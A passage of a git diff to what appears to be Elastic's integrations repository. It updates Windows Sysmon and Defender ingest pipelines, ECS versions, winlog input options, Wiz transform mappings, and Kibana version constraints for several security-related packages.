ctx.winlog?.event_data?.QueryResults != "" params: "1": "A" "2": "NS" @@ -879,7 +879,7 @@ processors: ctx.dns.resolved_ip = ips; } if (relatedHosts.length > 0) { - if (ctx?.related == null) { + if (ctx.related == null) { ctx.related = new HashMap(); } ctx.related.hosts = relatedHosts; @@ -915,7 +915,7 @@ processors: - script: description: Convert V4MAPPED addresses. lang: painless - if: ctx?.dns?.resolved_ip != null + if: ctx.dns?.resolved_ip != null source: |- if (ctx.dns.answers == null) { ctx.dns.answers = new ArrayList(); @@ -946,7 +946,7 @@ processors: field: related.hosts value: "{{dns.question.name}}" allow_duplicates: false - if: ctx?.dns?.question?.name != null && ctx?.dns?.question?.name != "" + if: ctx.dns?.question?.name != null && ctx.dns?.question?.name != "" - remove: description: Remove dns.question.domain because it is not part of ECS and is redundant with dns.question.name. field: dns.question.domain @@ -976,19 +976,19 @@ processors: field: winlog.event_data.User target_field: "_temp.user_parts" separator: '\\' - if: ctx?.winlog?.event_data?.User != null + if: ctx.winlog?.event_data?.User != null - set: field: user.domain value: "{{_temp.user_parts.0}}" ignore_failure: true ignore_empty_value: true - if: ctx?._temp?.user_parts != null && ctx._temp.user_parts.size() == 2 + if: ctx._temp?.user_parts != null && ctx._temp.user_parts.size() == 2 - set: field: user.name value: "{{_temp.user_parts.1}}" ignore_failure: true ignore_empty_value: true - if: ctx?._temp?.user_parts != null && ctx._temp.user_parts.size() == 2 + if: ctx._temp?.user_parts != null && ctx._temp.user_parts.size() == 2 # Get user details from the translate_sid processor enrichment # if they are available and we don't already have them. - rename: @@ -1020,7 +1020,7 @@ processors: target_field: sysmon.dns.status ignore_missing: true ignore_failure: true - if: ctx?.winlog?.event_data?.QueryStatus != null && ctx?.winlog?.event_data?.QueryStatus != "" + if: ctx.winlog?.event_data?.QueryStatus != null && ctx.winlog?.event_data?.QueryStatus != "" - script: description: Translate DNS Query status. lang: painless @@ -1222,7 +1222,7 @@ processors: "10054": "WSAECONNRESET" "10055": "WSAENOBUFS" "10060": "WSAETIMEDOUT" - if: ctx?.sysmon?.dns?.status != null && ctx?.sysmon?.dns?.status != "" + if: ctx.sysmon?.dns?.status != null && ctx.sysmon?.dns?.status != "" source: |- def status = params[ctx.sysmon.dns.status]; if (status != null) { @@ -1234,14 +1234,14 @@ processors: type: boolean ignore_missing: true ignore_failure: true - if: ctx?.winlog?.event_data?.Archived != null && ctx?.winlog?.event_data?.Archived != "" + if: ctx.winlog?.event_data?.Archived != null && ctx.winlog?.event_data?.Archived != "" - convert: field: winlog.event_data.IsExecutable target_field: sysmon.file.is_executable type: boolean ignore_missing: true ignore_failure: true - if: ctx?.winlog?.event_data?.IsExecutable != null && ctx?.winlog?.event_data?.IsExecutable != "" + if: ctx.winlog?.event_data?.IsExecutable != null && ctx.winlog?.event_data?.IsExecutable != "" - convert: field: error.code type: string @@ -1254,19 +1254,19 @@ processors: value: "{{user.name}}" ignore_failure: true allow_duplicates: false - if: ctx?.user?.name != null && ctx.user.name != "" + if: ctx.user?.name != null && ctx.user.name != "" - append: field: related.ip value: "{{source.ip}}" ignore_failure: true allow_duplicates: false - if: ctx?.source?.ip != null && ctx.source.ip != "" + if: ctx.source?.ip != null && ctx.source.ip != "" - append: field: related.ip value: "{{destination.ip}}" ignore_failure: true allow_duplicates: false - if: ctx?.destination?.ip != null && ctx.destination.ip != "" + if: ctx.destination?.ip != null && ctx.destination.ip != "" ## Registry fields @@ -1274,7 +1274,7 @@ processors: description: Set registry fields. lang: painless if: |- - ctx?.winlog?.event_data?.TargetObject != null && ctx?.winlog?.event_data?.TargetObject != "" && + ctx.winlog?.event_data?.TargetObject != null && ctx.winlog?.event_data?.TargetObject != "" && ["12", "13", "14"].contains(ctx.event.code) params: HKEY_CLASSES_ROOT: "HKCR" @@ -1312,7 +1312,7 @@ processors: def value = pathTokens[pathTokens.length - 1]; ctx.registry.value = value; - def data = ctx?.winlog?.event_data?.Details; + def data = ctx.winlog?.event_data?.Details; if (data != null && data != "") { def prefixLen = 2; // to remove 0x prefix def dataValue = ""; @@ -1398,6 +1398,7 @@ processors: - winlog.event_data.Hash - winlog.event_data.Hashes - winlog.event_data.TargetObject + - winlog.event_data.Details - winlog.time_created - winlog.level ignore_failure: true @@ -1405,14 +1406,14 @@ processors: - script: description: Remove all empty values from event_data. lang: painless - source: ctx?.winlog?.event_data?.entrySet().removeIf(entry -> entry.getValue() == null || entry.getValue().equals("") || entry.getValue().equals("-")); - if: ctx?.winlog?.event_data != null + source: ctx.winlog?.event_data?.entrySet().removeIf(entry -> entry.getValue() == null || entry.getValue().equals("") || entry.getValue().equals("-")); + if: ctx.winlog?.event_data != null - remove: description: Remove empty event data. field: winlog.event_data ignore_missing: true ignore_failure: true - if: ctx?.winlog?.event_data != null && ctx.winlog.event_data.size() == 0 + if: ctx.winlog?.event_data != null && ctx.winlog.event_data.size() == 0 on_failure: - set: diff --git a/packages/windows/data_stream/sysmon_operational/manifest.yml b/packages/windows/data_stream/sysmon_operational/manifest.yml index a92ec651a46..bd3e1eb0848 100644 --- a/packages/windows/data_stream/sysmon_operational/manifest.yml +++ b/packages/windows/data_stream/sysmon_operational/manifest.yml @@ -1,5 +1,14 @@ type: logs title: Windows Sysmon/Operational events +elasticsearch: + index_template: + mappings: + dynamic_templates: + - override_ignore_above: + match_mapping_type: string + mapping: + type: keyword + ignore_above: 2048 streams: - input: winlog template_path: winlog.yml.hbs diff --git a/packages/windows/data_stream/windows_defender/_dev/test/pipeline/test-events-windows-defender-events.json-expected.json b/packages/windows/data_stream/windows_defender/_dev/test/pipeline/test-events-windows-defender-events.json-expected.json index 6067430e927..8b0d8ec0a51 100644 --- a/packages/windows/data_stream/windows_defender/_dev/test/pipeline/test-events-windows-defender-events.json-expected.json +++ b/packages/windows/data_stream/windows_defender/_dev/test/pipeline/test-events-windows-defender-events.json-expected.json @@ -3,7 +3,7 @@ { "@timestamp": "2024-06-21T01:21:15.131Z", "ecs": { - "version": "8.11.0" + "version": "8.17.0" }, "event": { "action": "malware-detected", @@ -104,7 +104,7 @@ { "@timestamp": "2024-06-21T01:21:15.131Z", "ecs": { - "version": "8.11.0" + "version": "8.17.0" }, "event": { "action": "malware-detected", @@ -203,7 +203,7 @@ { "@timestamp": "2024-06-21T01:21:15.131Z", "ecs": { - "version": "8.11.0" + "version": "8.17.0" }, "event": { "action": "malware-detected", @@ -303,7 +303,7 @@ { "@timestamp": "2024-06-21T06:56:39.313Z", "ecs": { - "version": "8.11.0" + "version": "8.17.0" }, "event": { "category": [ @@ -380,7 +380,7 @@ { "@timestamp": "2024-06-21T06:56:39.311Z", "ecs": { - "version": "8.11.0" + "version": "8.17.0" }, "event": { "category": [ @@ -433,7 +433,7 @@ { "@timestamp": "2024-06-21T06:13:50.504Z", "ecs": { - "version": "8.11.0" + "version": "8.17.0" }, "event": { "category": [ @@ -480,7 +480,7 @@ { "@timestamp": "2024-06-21T06:13:31.064Z", "ecs": { - "version": "8.11.0" + "version": "8.17.0" }, "event": { "category": [ @@ -539,7 +539,7 @@ { "@timestamp": "2024-06-21T01:21:15.227Z", "ecs": { - "version": "8.11.0" + "version": "8.17.0" }, "event": { "action": "malware-quarantined", @@ -639,7 +639,7 @@ { "@timestamp": "2024-06-21T01:21:15.227Z", "ecs": { - "version": "8.11.0" + "version": "8.17.0" }, "event": { "action": "malware-quarantined", @@ -740,7 +740,7 @@ { "@timestamp": "2024-06-21T01:08:30.350Z", "ecs": { - "version": "8.11.0" + "version": "8.17.0" }, "event": { "action": "antivirus-updated", @@ -801,4 +801,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/windows/data_stream/windows_defender/_dev/test/system/test-default-config.yml b/packages/windows/data_stream/windows_defender/_dev/test/system/test-default-config.yml index 4456a4f2583..d96679b1724 100644 --- a/packages/windows/data_stream/windows_defender/_dev/test/system/test-default-config.yml +++ b/packages/windows/data_stream/windows_defender/_dev/test/system/test-default-config.yml @@ -1,5 +1,7 @@ input: httpjson service: splunk-mock +skip_ignored_fields: + - event.original vars: url: http://{{Hostname}}:{{Port}} username: test diff --git a/packages/windows/data_stream/windows_defender/elasticsearch/ingest_pipeline/default.yml b/packages/windows/data_stream/windows_defender/elasticsearch/ingest_pipeline/default.yml index 3f3cffd1584..31a355d6fa2 100644 --- a/packages/windows/data_stream/windows_defender/elasticsearch/ingest_pipeline/default.yml +++ b/packages/windows/data_stream/windows_defender/elasticsearch/ingest_pipeline/default.yml @@ -5,7 +5,7 @@ processors: - set: field: ecs.version - value: '8.11.0' + value: '8.17.0' - set: field: log.level copy_from: winlog.level diff --git a/packages/windows/data_stream/windows_defender/manifest.yml b/packages/windows/data_stream/windows_defender/manifest.yml index 6aac015b9bc..3b968b045c1 100644 --- a/packages/windows/data_stream/windows_defender/manifest.yml +++ b/packages/windows/data_stream/windows_defender/manifest.yml @@ -1,5 +1,14 @@ type: logs title: 'Windows Defender logs' +elasticsearch: + index_template: + mappings: + dynamic_templates: + - override_ignore_above: + match_mapping_type: string + mapping: + type: keyword + ignore_above: 2048 streams: - input: winlog enabled: false diff --git a/packages/windows/docs/README.md b/packages/windows/docs/README.md index 549691f7a3e..b12d321ab6d 100644 --- a/packages/windows/docs/README.md +++ b/packages/windows/docs/README.md @@ -2508,9 +2508,9 @@ An example event for `sysmon_operational` looks as following: | dns.op_code | The DNS operation code that specifies the kind of query in the message. This value is set by the originator of a query and copied into the response. | keyword | | dns.question.class | The class of records being queried. | keyword | | dns.question.name | The name being queried. If the name field contains non-printable characters (below 32 or above 126), those characters should be represented as escaped base 10 integers (\DDD). Back slashes and quotes should be escaped. Tabs, carriage returns, and line feeds should be converted to \t, \r, and \n respectively. | keyword | -| dns.question.registered_domain | The highest registered domain, stripped of the subdomain. For example, the registered domain for "foo.example.com" is "example.com". This value can be determined precisely with a list like the public suffix list (http://publicsuffix.org). Trying to approximate this by simply taking the last two labels will not work well for TLDs such as "co.uk". | keyword | +| dns.question.registered_domain | The highest registered domain, stripped of the subdomain. For example, the registered domain for "foo.example.com" is "example.com". This value can be determined precisely with a list like the public suffix list (https://publicsuffix.org). Trying to approximate this by simply taking the last two labels will not work well for TLDs such as "co.uk". | keyword | | dns.question.subdomain | The subdomain is all of the labels under the registered_domain. If the domain has multiple levels of subdomain, such as "sub2.sub1.example.com", the subdomain field should contain "sub2.sub1", with no trailing period. | keyword | -| dns.question.top_level_domain | The effective top level domain (eTLD), also known as the domain suffix, is the last part of the domain name. For example, the top level domain for example.com is "com". This value can be determined precisely with a list like the public suffix list (http://publicsuffix.org). Trying to approximate this by simply taking the last label will not work well for effective TLDs such as "co.uk". | keyword | +| dns.question.top_level_domain | The effective top level domain (eTLD), also known as the domain suffix, is the last part of the domain name. For example, the top level domain for example.com is "com". This value can be determined precisely with a list like the public suffix list (https://publicsuffix.org). Trying to approximate this by simply taking the last label will not work well for effective TLDs such as "co.uk". | keyword | | dns.question.type | The type of record being queried. | keyword | | dns.resolved_ip | Array containing all IPs seen in `answers.data`. The `answers` array can be difficult to use, because of the variety of data formats it can contain. Extracting all IP addresses seen in there to `dns.resolved_ip` makes it possible to index them as IP addresses, and makes them easier to visualize and query for. | ip | | dns.response_code | The DNS response code. | keyword | diff --git a/packages/windows/manifest.yml b/packages/windows/manifest.yml index 51970b880c0..54ac5c0760d 100644 --- a/packages/windows/manifest.yml +++ b/packages/windows/manifest.yml @@ -1,6 +1,6 @@ name: windows title: Windows -version: 2.4.2 +version: 2.5.0 description: Collect logs and metrics from Windows OS and services with Elastic Agent. type: integration categories: @@ -14,7 +14,7 @@ icons: format_version: 3.2.1 conditions: kibana: - version: "^8.14.0" + version: "^8.14.0 || ^9.0.0" elastic: subscription: basic screenshots: diff --git a/packages/winlog/agent/input/winlog.yml.hbs b/packages/winlog/agent/input/winlog.yml.hbs index c542a8355c3..9ba68e09c32 100644 --- a/packages/winlog/agent/input/winlog.yml.hbs +++ b/packages/winlog/agent/input/winlog.yml.hbs @@ -2,6 +2,9 @@ condition: ${host.platform} == 'windows' data_stream: dataset: {{data_stream.dataset}} name: {{channel}} +{{#if xml_query}} +xml_query: {{xml_query}} +{{else}} {{#if providers}} provider: {{#each providers as |p|}} @@ -14,6 +17,10 @@ event_id: {{event_id}} {{#if ignore_older}} ignore_older: {{ignore_older}} {{/if}} +{{#if level}} +level: {{level}} +{{/if}} +{{/if}} {{#if language}} language: {{language}} {{/if}} diff --git a/packages/winlog/changelog.yml b/packages/winlog/changelog.yml index a235b85452b..5d3055bc6d0 100644 --- a/packages/winlog/changelog.yml +++ b/packages/winlog/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "2.4.0" + changes: + - description: Add `xml_query` and `level` options. + type: enhancement + link: https://github.com/elastic/integrations/pull/12938 - version: "2.3.0" changes: - description: ECS version updated to 8.17.0. diff --git a/packages/winlog/manifest.yml b/packages/winlog/manifest.yml index a1838cba88e..a732af4c14b 100644 --- a/packages/winlog/manifest.yml +++ b/packages/winlog/manifest.yml @@ -3,7 +3,7 @@ name: winlog title: Custom Windows Event Logs description: Collect and parse logs from any Windows event log channel with Elastic Agent. type: input -version: "2.3.0" +version: "2.4.0" conditions: kibana: version: '^8.10.1 || ^9.0.0' @@ -22,7 +22,8 @@ policy_templates: type: text title: Channel Name description: >- - Name of Windows event log channel (eg. Microsoft-Windows-PowerShell/Operational) + Name of Windows event log channel (eg. Microsoft-Windows-PowerShell/Operational). + It expects a single channel name. To collect multiple channels, add multiple integrations. required: true show_user: true - name: data_stream.dataset @@ -78,6 +79,21 @@ policy_templates: required: false show_user: false default: 0 + - name: level + type: text + title: Level + description: >- + A list of event levels to include. The value is a comma-separated list of levels. + Accepted levels are: `critical`, `error`, `warning`, `information`, and `verbose`. + required: false + show_user: false + - name: xml_query + type: text + title: XML Query + description: >- + Provide a custom XML query. This option is mutually exclusive with the `name`, `event_id`, `ignore_older`, `level`, and `providers` options. These options should be included in the XML query directly. Furthermore, an id must be provided. Custom XML queries provide more flexibility and advanced options than the simpler query options. + required: false + show_user: false - name: tags type: text title: Tags diff --git a/packages/wiz/changelog.yml b/packages/wiz/changelog.yml index 71534fea24e..8e434d1cbeb 100644 --- a/packages/wiz/changelog.yml +++ b/packages/wiz/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "2.8.2" + changes: + - description: Add missing field mappings in transforms. + type: bugfix + link: http://github.com/elastic/integrations/pull/12841 - version: "2.8.1" changes: - description: Updated SSL description in package manifest.yml to be uniform and to include links to documentation. diff --git a/packages/wiz/elasticsearch/transform/latest_cdr_misconfigurations/fields/ecs.yml b/packages/wiz/elasticsearch/transform/latest_cdr_misconfigurations/fields/ecs.yml index 291b675502b..4cb860dea83 100644 --- a/packages/wiz/elasticsearch/transform/latest_cdr_misconfigurations/fields/ecs.yml +++ b/packages/wiz/elasticsearch/transform/latest_cdr_misconfigurations/fields/ecs.yml @@ -28,3 +28,7 @@ external: ecs - name: observer.vendor external: ecs +- name: message + external: ecs +- name: ecs.version + external: ecs diff --git a/packages/wiz/elasticsearch/transform/latest_cdr_misconfigurations/transform.yml b/packages/wiz/elasticsearch/transform/latest_cdr_misconfigurations/transform.yml index 73f90c62902..ada52ed9b5f 100644 --- a/packages/wiz/elasticsearch/transform/latest_cdr_misconfigurations/transform.yml +++ b/packages/wiz/elasticsearch/transform/latest_cdr_misconfigurations/transform.yml @@ -2,7 +2,7 @@ source: index: - "logs-wiz.cloud_configuration_finding-*" dest: - index: "security_solution-wiz.misconfiguration_latest-v1" + index: "security_solution-wiz.misconfiguration_latest-v2" aliases: - alias: "security_solution-wiz.misconfiguration_latest" move_on_creation: true @@ -27,4 +27,4 @@ _meta: managed: true # Bump this version to delete, reinstall, and restart the transform during package. # Version bump is needed if there is any code change in transform. - fleet_transform_version: 0.1.0 + fleet_transform_version: 0.2.0 diff --git a/packages/wiz/elasticsearch/transform/latest_cdr_vulnerabilities/fields/fields.yml b/packages/wiz/elasticsearch/transform/latest_cdr_vulnerabilities/fields/fields.yml index 38aa91efa9e..c2a2a837897 100644 --- a/packages/wiz/elasticsearch/transform/latest_cdr_vulnerabilities/fields/fields.yml +++ b/packages/wiz/elasticsearch/transform/latest_cdr_vulnerabilities/fields/fields.yml @@ -6,6 +6,8 @@ external: ecs - name: cloud.region external: ecs +- name: device.id + external: ecs - name: package.name external: ecs - name: package.version @@ -14,6 +16,8 @@ external: ecs - name: vulnerability.id external: ecs +- name: vulnerability.reference + external: ecs - name: vulnerability.score.base external: ecs - name: vulnerability.score.version @@ -34,6 +38,14 @@ external: ecs - name: event.type external: ecs +- name: ecs.version + external: ecs +- name: tags + external: ecs +- name: related.ip + external: ecs +- name: message + external: ecs - name: observer.vendor external: ecs - name: wiz diff --git a/packages/wiz/elasticsearch/transform/latest_cdr_vulnerabilities/transform.yml b/packages/wiz/elasticsearch/transform/latest_cdr_vulnerabilities/transform.yml index 2fba8c6c52b..0b83050b3e5 100644 --- a/packages/wiz/elasticsearch/transform/latest_cdr_vulnerabilities/transform.yml +++ b/packages/wiz/elasticsearch/transform/latest_cdr_vulnerabilities/transform.yml @@ -2,7 +2,7 @@ source: index: - "logs-wiz.vulnerability-*" dest: - index: "security_solution-wiz.vulnerability_latest-v1" + index: "security_solution-wiz.vulnerability_latest-v2" aliases: - alias: "security_solution-wiz.vulnerability_latest" move_on_creation: true @@ -29,4 +29,4 @@ _meta: managed: true # Bump this version to delete, reinstall, and restart the transform during package. # Version bump is needed if there is any code change in transform. - fleet_transform_version: 0.1.0 + fleet_transform_version: 0.2.0 diff --git a/packages/wiz/manifest.yml b/packages/wiz/manifest.yml index 1eb68e960da..557ef717a4b 100644 --- a/packages/wiz/manifest.yml +++ b/packages/wiz/manifest.yml @@ -1,7 +1,7 @@ format_version: 3.0.2 name: wiz title: Wiz -version: "2.8.1" +version: "2.8.2" description: Collect logs from Wiz with Elastic Agent. type: integration categories: diff --git a/packages/zerofox/changelog.yml b/packages/zerofox/changelog.yml index d938c80b717..9089b23d63e 100644 --- a/packages/zerofox/changelog.yml +++ b/packages/zerofox/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "1.28.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "1.27.0" changes: - description: Do not remove `event.original` in main ingest pipeline. diff --git a/packages/zerofox/manifest.yml b/packages/zerofox/manifest.yml index 355f9e40913..13b959b6aff 100644 --- a/packages/zerofox/manifest.yml +++ b/packages/zerofox/manifest.yml @@ -1,6 +1,6 @@ name: zerofox title: ZeroFox -version: "1.27.0" +version: "1.28.0" description: Collect logs from ZeroFox with Elastic Agent. type: integration format_version: "3.0.2" @@ -13,7 +13,7 @@ categories: - security conditions: kibana: - version: "^8.13.0" + version: "^8.13.0 || ^9.0.0" policy_templates: - name: zerofox title: ZeroFox Alerts diff --git a/packages/zeronetworks/changelog.yml b/packages/zeronetworks/changelog.yml index 6148cf495b6..678a7c598ca 100644 --- a/packages/zeronetworks/changelog.yml +++ b/packages/zeronetworks/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "1.18.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "1.17.2" changes: - description: Updated SSL description in package manifest.yml to be uniform and to include links to documentation. diff --git a/packages/zeronetworks/manifest.yml b/packages/zeronetworks/manifest.yml index 27d93f5e798..f8fa57d5001 100644 --- a/packages/zeronetworks/manifest.yml +++ b/packages/zeronetworks/manifest.yml @@ -1,7 +1,7 @@ format_version: "3.0.2" name: zeronetworks title: "Zero Networks" -version: "1.17.2" +version: "1.18.0" source: license: "Elastic-2.0" description: "Zero Networks Logs integration" @@ -10,7 +10,7 @@ categories: - security conditions: kibana: - version: "^8.13.0" + version: "^8.13.0 || ^9.0.0" elastic: subscription: "basic" screenshots: diff --git a/packages/zoom/changelog.yml b/packages/zoom/changelog.yml index 955b58d20b7..1f6878bc27f 100644 --- a/packages/zoom/changelog.yml +++ b/packages/zoom/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "1.22.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "1.21.0" changes: - description: Add "preserve_original_event" tag to documents with `event.kind` set to "pipeline_error". diff --git a/packages/zoom/manifest.yml b/packages/zoom/manifest.yml index 47685087227..b7ab07bb317 100644 --- a/packages/zoom/manifest.yml +++ b/packages/zoom/manifest.yml @@ -1,13 +1,13 @@ name: zoom title: Zoom -version: "1.21.0" +version: "1.22.0" description: Collect logs from Zoom with Elastic Agent. type: integration format_version: "3.0.2" categories: ["security", "productivity_security"] conditions: kibana: - version: "^8.13.0" + version: "^8.13.0 || ^9.0.0" policy_templates: - name: zoom title: Zoom logs diff --git a/packages/zscaler_zpa/changelog.yml b/packages/zscaler_zpa/changelog.yml index ac943c67eb1..02ac74c9b8e 100644 --- a/packages/zscaler_zpa/changelog.yml +++ b/packages/zscaler_zpa/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "1.21.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "1.20.1" changes: - description: Updated SSL description in package manifest.yml to be uniform and to include links to documentation. diff --git a/packages/zscaler_zpa/manifest.yml b/packages/zscaler_zpa/manifest.yml index f15820899d6..21c43378f53 100644 --- a/packages/zscaler_zpa/manifest.yml +++ b/packages/zscaler_zpa/manifest.yml @@ -1,7 +1,7 @@ format_version: "3.0.3" name: zscaler_zpa title: Zscaler Private Access -version: "1.20.1" +version: "1.21.0" source: license: Elastic-2.0 description: Collect logs from Zscaler Private Access (ZPA) with Elastic Agent. @@ -12,7 +12,7 @@ categories: - vpn_security conditions: kibana: - version: "^8.13.0" + version: "^8.13.0 || ^9.0.0" elastic: subscription: basic screenshots: